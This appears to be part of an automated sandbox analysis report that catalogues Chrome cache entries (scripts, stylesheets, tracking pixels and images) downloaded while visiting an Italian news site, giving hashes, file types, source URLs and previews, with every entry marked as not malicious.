Preview:	(function(){'use strict';/* . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 .*/ .var m=this\|\|self;function aa(a){a:{var b=["CLOSURE_FLAGS"];for(var c=m,d=0;d<b.length;d++)if(c=c[b[d]],null==c){b=null;break a}b=c}a=b&&b[a];return null!=a?a:!1}function ba(a){return a};function ca(a){m.setTimeout(()=>{throw a;},0)};var ea=aa(610401301),fa=aa(188588736);var n;const ha=m.navigator;n=ha?ha.userAgentData\|\|null:null;function ia(a){return ea?n?n.brands.some(({brand:b})=>b&&-1!=b.indexOf(a)):!1:!1}function q(a){var b;a:{if(b=m.navigator)if(b=b.userAgent)break a;b=""}return-1!=b.indexOf(a)};function r(){return ea?!!n&&0<n.brands.length:!1}function ja(){return r()?ia("Chromium"):(q("Chrome")\|\|q("CriOS"))&&!(r()?0:q("Edge"))\|\|q("Silk")};function ka(a,b){return Array.prototype.indexOf.call(a,b,void 0)};function la(a){la[" "](a);return a}la[" "]=function(){};!q("Android")\|\|ja();ja();q("Safari")&&(ja()\|\|(r()?0:q("Coast"))\|\|(r()?0:q("Opera"))\|\|(r()?0:q("Edge"))\|\|(r()?ia

Chrome Cache Entry: 685

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (460)
Category:	downloaded
Size (bytes):	1301
Entropy (8bit):	4.976245823719584
Encrypted:	false
SSDEEP:	24:zAMmzq6L1zFkiyvPDsTo18qLzqS4x/kiyvEPNGZC5MDyebpK7pK6dijG7G6t:kMepgXY01tX3XuQye1moO
MD5:	15BD4259950552CFF3C359758B8A7666
SHA1:	AF6E6E99E9598682E4194D4F9E909A6FBF56CE8A
SHA-256:	F3A0A60C73C3170EB91A49081E375DFEBDD1B750DF35661600187907B0E925B5
SHA-512:	98F23E57178262E38390E136047ECC4EF582DE217A6F5962BAA8567BB3586F57DE6303AA1925DD37F5CBFDE1AB813AA4A0473171DD455F23A87C3EB32B96DD50
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/content-egg/res/js/price_alert.js?ver=10.12.1
Preview:	jQuery(document).ready(function().{jQuery(".cegg-price-alert-wrap form :input").each(function(){jQuery(this).on('input',function(){var $form=jQuery(this);var $wrap=$form.closest('.cegg-price-alert-wrap');var $agree=$wrap.find('.price-alert-agree-wrap');var $email=$wrap.find('input[name="email"]');if($email.val().length>3&&$agree.is(":hidden")).$agree.show(500);});});jQuery(".cegg-price-alert-wrap form").on("submit",function(event).{event.preventDefault();var $form=jQuery(this);var $wrap=$form.closest('.cegg-price-alert-wrap');var data=$form.serialize()+'&nonce='+ceggPriceAlert.nonce;$wrap.find('.cegg-price-loading-image').show();$wrap.find('.cegg-price-alert-result-error').hide();$form.find('input, button').prop("disabled",true);jQuery.ajax({url:ceggPriceAlert.ajaxurl+'?action=start_tracking',type:'post',dataType:'json',data:data,success:function(result){if(result.status=='success').{$wrap.find('.cegg-price-alert-result-succcess').show();$wrap.find('.cegg-price-alert-result-succcess').

Chrome Cache Entry: 686

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0950611313667666
Encrypted:	false
SSDEEP:	3:CUMllRPQEsJ9pse:Gl3QEsJLse
MD5:	AD4B0F606E0F8465BC4C4C170B37E1A3
SHA1:	50B30FD5F87C85FE5CBA2635CB83316CA71250D7
SHA-256:	CF4724B2F736ED1A0AE6BC28F1EAD963D9CD2C1FD87B6EF32E7799FC1C5C8BDA
SHA-512:	EBFE0C0DF4BCC167D5CB6EBDD379F9083DF62BEF63A23818E1C6ADF0F64B65467EA58B7CD4D03CF0A1B1A2B07FB7B969BF35F25F1F8538CC65CF3EEBDF8A0910
Malicious:	false
Reputation:	low
URL:	https://sync-jp.im-apps.net/imid/set?cid=1000047&tid=obid&uid=v0AzJsI2nziHah6o4johN2RyxXGWXzGD4-NLxP6JfGc_AGBwGEB3RT3aBpEFi7UQ
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 687

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	low
URL:	https://mcdp-chidc2.outbrain.com/l?token=5198a0ec56d68aa5d9ca29967d30e18d_30351_1711615905041_1&tm=22959&eT=0&widgetWidth=690&widgetHeight=288&widgetX=101&widgetY=3464&wRV=2010731&pVis=1&lsd=605efeb6-d03d-4c86-b581-346f2597a6eb&eIdx=&oo=false&lo=27464&obreq=26012&mvreq=27788&mvres=50075&re=50455&cet=3g&cs=4&to=1711615856221&ll=0&chs=1&ab=0&wl=0&retries=1
Preview:	ok

Chrome Cache Entry: 688

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1969)
Category:	downloaded
Size (bytes):	401032
Entropy (8bit):	5.530195807609479
Encrypted:	false
SSDEEP:	6144:F7mWImRxF6+hEn+06/vsqQLBuNBcch9J0ZevO:omRj6pm/vsqGE8ch9CZe2
MD5:	715D54553D4D954F2D6F14821306A6AA
SHA1:	911B8C7D8508AC7149E43F9E8816BE426876146D
SHA-256:	21B7F55BE1E224EBB4FC1345FF3BAD5A75592476D979FCEB5E5668F40B81F557
SHA-512:	C75AE8C2001750A27A6565406CF8BE414CBE26212504058C15F703ED582D663CA64227A7E51FD16A08B5109B8E7C7019A1F1F538115BDE0529BEFC5145892DA0
Malicious:	false
Reputation:	low
URL:	https://imasdk.googleapis.com/js/sdkloader/ima3.js?ver=1.1.17
Preview:	// Copyright 2011 Google Inc. All Rights Reserved..(function(){var l,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},da=ca(this),r=function(a,b){if(b)a:{var c=da;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.r("Symbol",function(a){if(a)return a;var b=function(f,g){this.g=f;ba(this,"description",{configurable:!0,writable:!0,value:g})};b.prototype.toString=function(){return this.g};var c="jscomp_sy

Chrome Cache Entry: 689

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (992)
Category:	downloaded
Size (bytes):	993
Entropy (8bit):	4.973119096643199
Encrypted:	false
SSDEEP:	24:NC8kC5SjC84HdFftPC+CWCgFbCt2CDwcC2sC2ggoC2uCsfcClOCgFHcCejkkCejD:NC8kC5aC8KdFf5C+CxgBCYCzCzCxgoCF
MD5:	B45BC946A2261E63DCDFC3FACA752FF3
SHA1:	148A799B97CBF85A713D3C49E199ECB232408665
SHA-256:	B3395510D2BEF53E87B963DA4321117796E85FAEFD7EDC25B9EECBE203248177
SHA-512:	BCA9C3E9A871DE8C0368329DB176C510691A1532977C17F14EF877EFB6617863C87AD4B19600F269DE3FCFD3B1F696AA793A69A665199C25C60843E917742C60
Malicious:	false
Reputation:	low
URL:	https://www.digistream.it/wp-content/plugins/digistream/digiplayer/css/videojs-overlay.css?ver=1.1.17
Preview:	.video-js .vjs-overlay{color:#fff;position:absolute;text-align:center}.video-js .vjs-overlay-no-background{max-width:33%}.video-js .vjs-overlay-background{background-color:#646464;background-color:rgba(255,255,255,0.4);border-radius:3px;padding:10px;width:33%}.video-js .vjs-overlay-top-left{top:5px;left:5px}.video-js .vjs-overlay-top{left:50%;margin-left:-16.5%;top:5px}.video-js .vjs-overlay-top-right{right:5px;top:5px}.video-js .vjs-overlay-right{right:5px;top:50%;transform:translateY(-50%)}.video-js .vjs-overlay-bottom-right{bottom:3.5em;right:5px}.video-js .vjs-overlay-bottom{bottom:3.5em;left:50%;margin-left:-16.5%}.video-js .vjs-overlay-bottom-left{bottom:3.5em;left:5px}.video-js .vjs-overlay-left{left:5px;top:50%;transform:translateY(-50%)}.video-js .vjs-overlay-center{left:50%;margin-left:-16.5%;top:50%;transform:translateY(-50%)}.video-js .vjs-no-flex .vjs-overlay-left,.video-js .vjs-no-flex .vjs-overlay-center,.video-js .vjs-no-flex .vjs-overlay-right{margin-top:-15px}.

Chrome Cache Entry: 690

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/crum?cm_dsp_id=109&external_user_id=c9d07f22dbb14df48cfc0d690e45ddb9&expiration=1714207896
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 691

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	83677
Entropy (8bit):	4.639449581330868
Encrypted:	false
SSDEEP:	768:pPy0FcwhyIthx06/Lexji+FN0uPbCNz2/D3RPuvsu4ezmiuj7/rYg6:pHqEuPuvsu4e3g6
MD5:	4E9AAEFFFD5F8AE7DC83361AA2294190
SHA1:	386BE3778D9201015B9222E29BB9DBC6CCD62915
SHA-256:	DB7E0B393E175F19922FEFBDCAA2866FCA209C521D01CC834AE06CBF8D0F91B7
SHA-512:	DA1258CFBDD33F60057C3D3B7841148F1F0E760AEC87BBF89AF21176C9FFE90360540C443ED87367919C030D65AF4F040DF256B29242D61BF8B15AB0E0F9D6A6
Malicious:	false
Reputation:	low
URL:	https://onesignal.com/sdks/OneSignalSDKStyles.css?v=2
Preview:	#onesignal-bell-container.onesignal-reset{z-index:2147483000;position:fixed}#onesignal-bell-container.onesignal-reset.onesignal-bell-container-bottom-left{bottom:0;left:0}#onesignal-bell-container.onesignal-reset.onesignal-bell-container-bottom-right{bottom:0;right:0}#onesignal-bell-container.onesignal-reset .onesignal-bell-launcher{-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-font-smoothing:initial;position:absolute;z-index:2147483000;font-family:Helvetica Neue,Helvetica,Arial,sans-serif;transform:scale(.01) translateZ(0);opacity:0;transition:transform 175ms ease-in-out,opacity 175ms ease-in-out}#onesignal-bell-container.onesignal-reset .onesignal-bell-launcher.onesignal-bell-launcher-bottom-left{bottom:20px;left:20px}#onesignal-bell-container.onesignal-reset .onesignal-bell-launcher.onesignal-bell-launcher-bottom-left.onesignal-bell-launcher-sm{transform-origin:center center;width:32px}#onesignal-bell-containe

Chrome Cache Entry: 692

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	8189
Entropy (8bit):	7.908681536532891
Encrypted:	false
SSDEEP:	192:ZOogRzisKP3QpMvlBQlwlz9yEjKqDClhmtUhtwasfe:IYpPgyBQlG8Ej7TtUk9e
MD5:	42FACCF8ED2E6165D113A4BD79BFD5FB
SHA1:	E90331BFD197E2C8B28F9BB0D4DBC67D55B6BBAA
SHA-256:	DE9C9A07CC2D940EF19690B6700DC8493F352ECF331D1779D35D9B073801E30E
SHA-512:	16CCC58D7034CDD9CFDEE2533A03E262BBA4CDEF2C6AC40D47D5331B0B933AA5A216803ED7AECE1A52C4A23433BAF35412F8C5E4E271CB9A9BCC9198E987F571
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........D..".................................................................................$1...^Ub."a.".!.B.k>......y...~{UWzX.L..!..!.C.....a...;B.&...@.E.b......^....u.8.\|\...1...T0C ..h..0C@.K.hL$..`..`...K...s...}<.-...U,...k....w..e..@L...&..LgHC..!.."B".[f2..}..:.=...W..q....D!.G7...p$n..D"H"..$Bi1$BC:U..0C..!.).&..IW..%..qM6.O..n.!.>.;n.v.......D..%t.f.J..b.D......H".+..7....ru......gk[Z,I...{s.I{..[...%;...sP..TZK...6!..by.....~...........WK..w.L.Z)8.Z!).b._%h..B88.Gw/...E..i..P!....).e6.`Fp..e......%.hGK....[..[G.N?Q....:W..3E....nsZ......go...l/..nG;EH MJ#..j..D.0..\|..=O#OJ...~z.cj\|<}.KG...\......>g..=.}.}l[.Q...V....R..:...z....sb.....Efd.HD...7..l..^~..=?..5q.<..}.v..._.WY..].(..6^...r..f...:1..6t5#.r=......G..U-...L..d.H"2_................................!01 2@"#$3.4A.BP...........

Chrome Cache Entry: 693

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=one_tag&google_hm=AAABjoRB7TgTnuY4CYOLMXfTvR1StenTG_7_jA&gdpr=0&gdpr_consent=
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 694

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	"https://pagead2.googlesyndication.com/pcs/activeview?xai=AKAOjsv_zBsEtaIZ7VQ-5QgVKkhV5Fqkvu2NSc1Ofmh-CVg2CPeXQCO9xXBLD8OsHB5vfFz-X3fIMdVgNzGzrLiafwNmXo0kIYZa3VzVEgXvMhvWOjq-ocBpoNNbWoQGQ24LXQ-w7RHkdg1PXx7SYnjvOwtKgglgUURMiSs&sig=Cg0ArKJSzGPN4YZjeGbUEAE&id=lidar2&mcvt=1034&p=817,267,907,995&mtos=1034,1034,1034,1034,1034&tos=1034,0,0,0,0&v=20240325&bin=7&avms=nio&bs=1263,907&mc=1&vu=1&app=0&itpl=19&adk=3616936076&rs=4&la=0&cr=0&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0%3D&vs=4&r=v&co=754871700&rst=1711615917654&rpt=218&isd=0&lsd=0&met=ce&wmsd=0&pbe=0&vae=0&spb=0&sfl=0&ffslot=0&reach=8&io2=0"
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 695

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (591), with no line terminators
Category:	downloaded
Size (bytes):	591
Entropy (8bit):	5.338022549566424
Encrypted:	false
SSDEEP:	12:fXffhMN1iR9p3U9MhHim6EfGAon5DRWULqXQm/JDOL8OBbnO1o:fXffpRP3UWHim63XnpRWU+AuOLNbO2
MD5:	AE2B6B87E64723FFE18DB5644E85D82D
SHA1:	76956A34E67E88E170675BC899B33D2F60E78704
SHA-256:	656EC1CDE7F518C7B5BE290568A5D7D99872AA9C27107F4AAA9C63DF1C9ADD86
SHA-512:	1B0783AAC3E6C1A6A5C67141BC3460E0924B833FFDDA11D724996D65A7DBBF02B8D98557C3129F77B0E488410CC7C2653340364AEF9F780E195D33F78E538842
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/codesour/bsnews/267.prod.js
Preview:	(self.webpackChunksour=self.webpackChunksour\|\|[]).push([[267],{267:(e,t,n)=>{"use strict";n.r(t);var o=n(845);const{LoggerSour:a}=o.t,s=new a("DMP > Zeotap");!function(){var e=window;const{dmpConfig:t}=e._sour.config;if(!t)return;let n=t.find((e=>"zeotap"===e.name));if(null!==n){s.log("Initialize Zeotap",n);var o=document.createRange();o.selectNode(document.getElementsByTagName("body")[0]);var a=o.createContextualFragment('<iframe class=\'sour-dmp-zeotap\' style="display:none" src="https://spl.zeotap.com/?zdid=648&env=mWeb&eventType=pageview" />');document.body.appendChild(a)}}()}}]);

Chrome Cache Entry: 696

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/crum?cm_dsp_id=111&external_user_id=4101133984087788602&expiration=1712825551
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 697

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=1], baseline, precision 8, 300x600, components 3
Category:	downloaded
Size (bytes):	40038
Entropy (8bit):	7.967009561112833
Encrypted:	false
SSDEEP:	768:xdPiMjhZA3aL9l+BbXjIFL/j5/hMrkuZv01m5j8R+eRAH0t4EB3W0Nm18u/6x2Si:3aM3Aqzkb4Lj5z00A5j80D0tHm+m18ut
MD5:	241B955F4183032203773AAD6C333A3C
SHA1:	75F0D860F09BE89242199C9A7119FFED86F92E77
SHA-256:	B24318C6D8573A5F7E779370F746032FBC33D47E339CCD9DEDE0C7711341B9F1
SHA-512:	114E3370B0C05C48CFB54842EBC4A3E931B9E3C10B0FC11D27DAA72A2FC11B91E0E97703B4CD6F321BFE0C14B5E5FB77C4BA53801BF6424FA167B29EBA8AE6AC
Malicious:	false
Reputation:	low
URL:	https://m.media-amazon.com/images/S/al-na-9d5791cf-3faf/24ca2381-c659-45eb-bad0-c9c909eaf3b8.jpg
Preview:	.....JExif..II.......i.........................,...............Version 1.0.0............................................................................................................................................&....Adobe.d...........X.,...........................................................................................!..1A.Qa.."q..2.#BR....3br....7CUV......$STu.......%4ct..&'DEes............................!1.AQ..aq."2R..3.....#B.................?......@.P(.....@.P(.....@.P(.....@.P(.....@.P........@.P(.....@.P(.....@.P(.....@.P(.....@.P........@.P(.....@.P(.....@.P(.....@.P(.....@.P........A.L....c............JQ...h-..[C=..l..]=..n.^.....G...C.....W9.l.../....[.x.....&4....$Ey!l....'.J.H .....@.P(.....@.P(.....@.P(.....@.P(...........Z....k.n....M.+...X..}.+..2\|WyOT.)R.*E6..#N}....5M......j.....(..)..#..La .....`:....0w.....p.4.....K....Go..1gr&BIJ.U..7....L....F.e....U..w.)~(@w>..9.....W..H.)q+BB.....@.P(.....@.P(.....@.P(.....A......3A.\..b

Chrome Cache Entry: 698

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2946)
Category:	downloaded
Size (bytes):	2981
Entropy (8bit):	5.174465669703351
Encrypted:	false
SSDEEP:	48:Q7A9/XN5NjJE2aAOuRUUKfTGwAuw5BJmVhl2qFqyvQyOw835uuPkSEwVYql+9y5l:931Yf1AJ5m/FqyLn8pu4Zl+9y5It4yO9
MD5:	492F2C1A7EA7EB83FE42E0FF7CB51AA2
SHA1:	DB36A77F6AAA2063BFBEC02C2C0E967438C5A245
SHA-256:	E174A58A503AB84B3D1B9DE12FD3895788204485170F1289E445F7B5B98EC789
SHA-512:	EEE6A1C268A519F4F281B2D76B5193BB068E94D1410372EF062587888589E139B20BB635E2331E97C857D7D835E9372F50822C5DAED29B139AB91FF5633C7A7F
Malicious:	false
Reputation:	low
URL:	https://c0.wp.com/c/6.4.3/wp-includes/js/comment-reply.min.js
Preview:	/! This file is auto-generated /.window.addComment=function(v){var I,C,h,E=v.document,b={commentReplyClass:"comment-reply-link",commentReplyTitleId:"reply-title",cancelReplyId:"cancel-comment-reply-link",commentFormId:"commentform",temporaryFormId:"wp-temp-form-div",parentIdFieldId:"comment_parent",postIdFieldId:"comment_post_ID"},e=v.MutationObserver\|\|v.WebKitMutationObserver\|\|v.MozMutationObserver,r="querySelector"in E&&"addEventListener"in v,n=!!E.documentElement.dataset;function t(){d(),e&&new e(o).observe(E.body,{childList:!0,subtree:!0})}function d(e){if(r&&(I=g(b.cancelReplyId),C=g(b.commentFormId),I)){I.addEventListener("touchstart",l),I.addEventListener("click",l);function t(e){if((e.metaKey\|\|e.ctrlKey)&&13===e.keyCode)return C.removeEventListener("keydown",t),e.preventDefault(),C.submit.click(),!1}C&&C.addEventListener("keydown",t);for(var n,d=function(e){var t=b.commentReplyClass;e&&e.childNodes\|\|(e=E);e=E.getElementsByClassName?e.getElementsByClassName(t):e.querySelectorA

Chrome Cache Entry: 699

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://rtb.openx.net/sync/dds?ox_sc=1&ox_init=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 700

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1007 x 1007, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	23963
Entropy (8bit):	7.698705035272933
Encrypted:	false
SSDEEP:	384:3hGzX1I500kgcCVM2PreUKIsNFUjZbarlvRuNwYrwbzmdxl0Sc8ADuSCKdO9klVu:3c00cVbClNUxqY7+zmdxSQyGKSkjlQj
MD5:	0D9C5E7A80148345316E3A7CACE7FC1F
SHA1:	289B7FEE787F17F6099848FD65035FB6A6EFA332
SHA-256:	FF42540CC3650FF5F0E89F1B9A5BB4ABD00B0CEDABF26BCE5F992D46D9485F0E
SHA-512:	B0974F1F72CC9D3ECA312C38A64892E31129E8A3E5F83C6606936989217EE72AED1F2ECE2B33851E1E466DAFA4C41550949E15D3E850E9979A2F27236F057B6D
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/codesour/assets/codesour-logo.png
Preview:	.PNG........IHDR..............z.%....pHYs.........O%.....$zTXtCreator....sL.OJUpL+I-RpMKKM.)..Az..jz.... .IDATx....u..6.]w...D`}..D.!.L..D`..".L...9... Ep....A}?..e#[......YK....{N[..]oWE........................................................................................................................................@sJv....I.u..W.q^J..M....\|....~.C.u[k=...d.....U.......\.Z..Z7.y...`uj..=..]...........hw...qUw.....o..7.}.a...\|.j~..O..[...!l\|.<........:D.._.:".c7......_......@u.}......w....u.}.......(@..;....Hu.}..q..]..Cn........Z...5;.....V......4V....w.P.w......>.......x..;...:..Ou..\|....cx.........i...w.0.;.......x..w....4......-.......[..\|.w..Vm.u.}........X.Z.ED<....J)..C...Ov....Rk=......q......;...Tk}...e...6...V...X.mv...bp.<V...X....sv..\.R.g..53....*..{Q..dj.....6;@g...V...X.u......w..VA]~/.....y...b...3....+...,...d.....;.......uyh..<..K.....uyh..w...K]~2uyh.....ER...<4Jm.....f..<4..;.....?..<4.........E]...6....l..tF].:`.....P..L].:ax..`........P...

Chrome Cache Entry: 701

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	472
Entropy (8bit):	4.942221184247633
Encrypted:	false
SSDEEP:	12:hYlLBwjnkA76ElpzDYlP0BSkZBFhRy4Nbx4IQb:hYxkvrpzDY10BjZBFhI4N0
MD5:	2A71D1A3F77C133D2EE11739F6DB6B3D
SHA1:	203DF7B5468C7771367815DF8EAADA42639202FD
SHA-256:	A8ABB7B8C78C1E652021A5C0A71D4926086AB59484439D0ABEAE6B970429A735
SHA-512:	0BB6789EE393C00F1251753A42DD9DB8115380929B5FFA23752A4387C087A06AA7EF2F6BE0596D48F84260DAE5E43E4025735A2BD53B77C057ACD4AD0F152CC7
Malicious:	false
Reputation:	low
URL:	https://bsnews.onesignal.com/webPushIframe
Preview:	<!DOCTYPE html>.<html>.<head>.<script src="https://cdn.onesignal.com/sdks/OneSignalSDK.js" async></script>.<script>. var OneSignal = OneSignal \|\| [];. OneSignal.push(function() {. OneSignal._initHttp({. appId: "311012f7-94f1-418c-abe0-3336ba01758e",. subdomainName: "bsnews",. origin: "http://www.bsnews.it",. siteName: "BsNews.it",. });. });. </script>.</head>.<body>.</body>.</html>

Chrome Cache Entry: 702

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6482), with no line terminators
Category:	downloaded
Size (bytes):	6482
Entropy (8bit):	5.386219794662181
Encrypted:	false
SSDEEP:	192:UaveH+XTFLLgXxQRCJS3ZE1m1j/YMvKTP+pmY2/:UdqTFPKt16EMiY2/
MD5:	A4D296427FC806B21335359E398C025C
SHA1:	46928CCD1407B4E55192BB9D0A07DCFEBD9687B7
SHA-256:	06B99248A163333E36980A6CFB756F1A7DE60FA49517162B87B1A44D5D48F844
SHA-512:	4C0326040E2C7837FA78185CC5A185EA43697DD4F3591757F84BDA76BAC746BADFBE047DAC2C1DC677561FD6CC6C5D5B4BEBB7D671CB82AB04E070DA766FE6AF
Malicious:	false
Reputation:	low
URL:	https://c.amazon-adsystem.com/bao-csm/aps-comm/aps_csm.js
Preview:	var amzn_aps_csm=amzn_aps_csm\|\|{};amzn_aps_csm.errors=[],amzn_aps_csm.reportErrors=function(a){var b,c;for(/^https?:\/\//.test(a)===!1&&(a=document.location.protocol+"//"+a),"/"!==a.substr(a.length-1)&&(a+="/"),b=0;b<amzn_aps_csm.errors.length;b++)c='{"adViewability":[{"error": {"m": "'+amzn_aps_csm.errors[b]+'"}}], "c": "aps_communicator", "api": "RTB", "error": 1}',"https:"===document.location.protocol&&/^http:\/\//.test(a)===!0&&(a=a.replace("http://","https://")),(new Image).src=a+c+"?cb="+Math.round(1e7*Math.random());amzn_aps_csm.errors=[]},function(a){function b(a){return a?a.replace(/^\s+\|\s+$/g,""):a}function c(a){if(a&&a.s){var b,c=a.s.length>0?a.s[0]:"",d=a.s.length>1?a.s[1]:"";c&&(b=c.match(j)),b&&3===b.length\|\|!d\|\|(b=d.match(i)),b&&3===b.length&&(a.f=b[1],a.l=b[2])}}function d(a,d){if(d=d\|\|{},!a)return{};a.m&&a.m.message&&(a=a.m);var 